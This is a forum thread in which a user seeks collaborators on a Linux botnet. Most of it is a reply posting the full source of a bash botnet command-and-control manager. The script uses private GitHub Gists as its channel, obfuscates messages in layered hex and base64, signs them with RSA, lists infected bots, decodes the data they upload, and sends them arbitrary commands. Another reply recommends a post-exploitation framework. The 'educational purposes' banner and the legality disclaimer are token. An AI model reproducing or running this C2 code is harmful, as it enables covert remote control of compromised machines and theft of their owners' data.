Hey guys, is anyone creating or thinking of creating a botnet, that is either linux specific or linux compatible?
Have had some interesting spreading ideas lately and wanted to collab with someone or help incorporate the module.
Thanks guys 
PS DO NOT USE MALICIOUS PROGRAMS WITHOUT PREVIOUS CONSENT OF TARGET - THAT IS ILLEGAL & ILLEGAL THINGS ARE BAD 
I made a .sh botnet, here is the source code.
# Global Variables
URL_GIST=""
BOT_URL=""
BOT_LIST=""
FILES_LIST=""
PRIVATE_FILE="private.pem"
PUBLIC_FILE="public.pem"
##############################################
# RSA Public key
PUBLIC=""
##############################################
# Global Flags
EXIT=0
SIGNED=1
##############################################
# Github API token
TOK=""
##############################################
# Functions
##############################################
##############################################
# MSG ENCODING:
# HEX -> REVERSE -> BASE64 -> HEX
##############################################
function enc {
echo -e "$1" | xxd -p | paste -s -d "" - | rev | paste -s -d "" - | base64 | paste -s -d "" - | tr -d "=" | xxd -p | paste -d "" -s
}
##############################################
# MSG DECODING:
# HEX -> BASE64 -> REVERSE -> HEX
##############################################
function dec {
echo -e "$1" | xxd -r -p | base64 -id 2>/dev/null | rev | xxd -r -p
}
##############################################
# Message signing, and also concat that signature (in Base64) to the message
function sign {
B64=$(echo "$1" | openssl dgst -sha1 -sign <(cat "$PRIVATE_FILE") | base64 -w 0)
echo -e "$1:${B64}"
}
##############################################
# Message signature (in Base64) verification
function ver {
if [ -n "${PUBLIC}" ]; then
VAR=($(echo "$1" | tr ":" "\n"))
if [ -n "${VAR[0]}" ] && [ -n "${VAR[1]}" ]; then
echo -e ${VAR[0]} | openssl dgst -sha1 -verify <(echo -e "$PUBLIC") -signature <(echo ${VAR[1]} | base64 -d)
else
echo "Failed"
fi
fi
}
##############################################
# Send communications
function com {
URL_GIST="$1"
COM="$2"
ENC_COM=$(enc "$COM")
if [ "$SIGNED" == "1" ]; then
ENC_COM=$(sign "$ENC_COM")
fi
if [ -n "${URL_GIST}" ]; then
URL=$(curl -s -X PATCH -H "Accept: application/vnd.github.v3+json" -H "Authorization: token ${TOK}" ${URL_GIST} -d '{"public": false, "files": {"comm": { "content": "'${ENC_COM}'"} } }' | grep '"forks_url"' | sed -e "s/^.*https/https/" -e "s/\/forks.*$//");
fi
}
##############################################
# List files from bot
function list_files {
BOT_URL="$1"
if [ -n "${BOT_URL}" ]; then
RES=$(curl -s -H "Accept: application/vnd.github.v3+json" -H "Authorization: token ${TOK}" "${BOT_URL}" | jq -r '.files[] | .filename + ":" + .content' )
FILES_LIST=(${RES})
fi
}
function menu_list_files {
echo ""
echo ""
echo "Selecciona el numero del archivo para decodificarlo."
echo "Selecciona '->' para enviar un comando al bot"
echo "Cualquier otra opcion para salir"
echo ""
OPS=()
for op in "${FILES_LIST[@]}"; do
OPS+=("$(echo $op | cut -c -50) ...")
done
OPS+=("->")
select opt in "${OPS[@]}"
do
if [[ "$opt" == "->" ]]; then
echo "Escribe tu comando:"
echo ""
read COM
com "${BOT_URL}" "${COM}"
break
elif [ -n "$opt" ]; then
CON=$(echo ${FILES_LIST[$((REPLY-1))]} | sed -e "s/^.*://")
echo ""
dec "${CON}"
echo "Presiona cualquier tecla para seguir"
read -n1
break
else
EXIT=1
break
fi
done
}
##############################################
# List bots
function list_bot {
RES=$(curl -s -H "Accept: application/vnd.github.v3+json" -H "Authorization: token ${TOK}" https://api.github.com/gists | jq -r '.[] | select(.public == false) | .updated_at + ":::" + .url')
BOT_LIST=($RES)
}
function menu_list_bot {
echo ""
echo ""
echo "Tenemos los siguientes bots:"
echo ""
select opt in "${BOT_LIST[@]}"
do
if [ -n "$opt" ]; then
URL=$(echo $opt | sed -e "s/^.*::://")
list_files "${URL}"
while [ "$EXIT" -ne "1" ]; do
menu_list_files
done
EXIT=0
break
else
break
fi
done
}
##############################################
# MAIN
##############################################
hash jq 2>/dev/null || { echo >&2 "Error: You need to install 'jq', Please install it before using this script."; exit 1; }
echo '''
##############################################
# Simple bash botnet Manager by @joydragon
# C2 on Github Gists
#
# This is intended for educational purposes only
# It is not perfect and it is not the intent
# If you can't see it, it's your fault :P
##############################################
'''
if [ -z "${TOK}" ]; then
echo "ERROR: Github token is not present. Please generate the token with Gists permissions before using this script."
echo "More information here: https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/creating-a-personal-access-token"
exit
fi
if [ -z "${PUBLIC}" ]; then
if [ ! -f "${PRIVATE_FILE}" ]; then
echo "RSA private key not found"
echo "Generating RSA keys first."
openssl genrsa -out "${PRIVATE_FILE}" 4096
echo ""
fi
if [ ! -f "${PUBLIC_FILE}" ]; then
echo "Extracting the public key from the private one."
openssl rsa -in "${PRIVATE_FILE}" -out "${PUBLIC_FILE}" -pubout > /dev/null
echo ""
fi
echo "Please add the public key text stored in '${PUBLIC_FILE}' fully to each bot and this manager also."
PUBLIC=$(cat "${PUBLIC_FILE}")
echo "${PUBLIC}"
echo ""
fi
list_bot
if [ ${#BOT_LIST[@]} -eq 0 ]; then
echo "There are no bots communicating with this account. Please try again when some bot has uploaded some info."
echo ""
exit
fi
while true; do
menu_list_bot
done
BYOB is an open-source post-exploitation framework for students, researchers and developers.
It is designed to allow students and developers to easily implement their own code and add cool new features without having to write a C2 server or Remote Administration Tool from scratch.
This project has 2 main parts: the original console-based application (/byob) and the web GUI (/web-gui).
Nice! Thanks! Going to try this.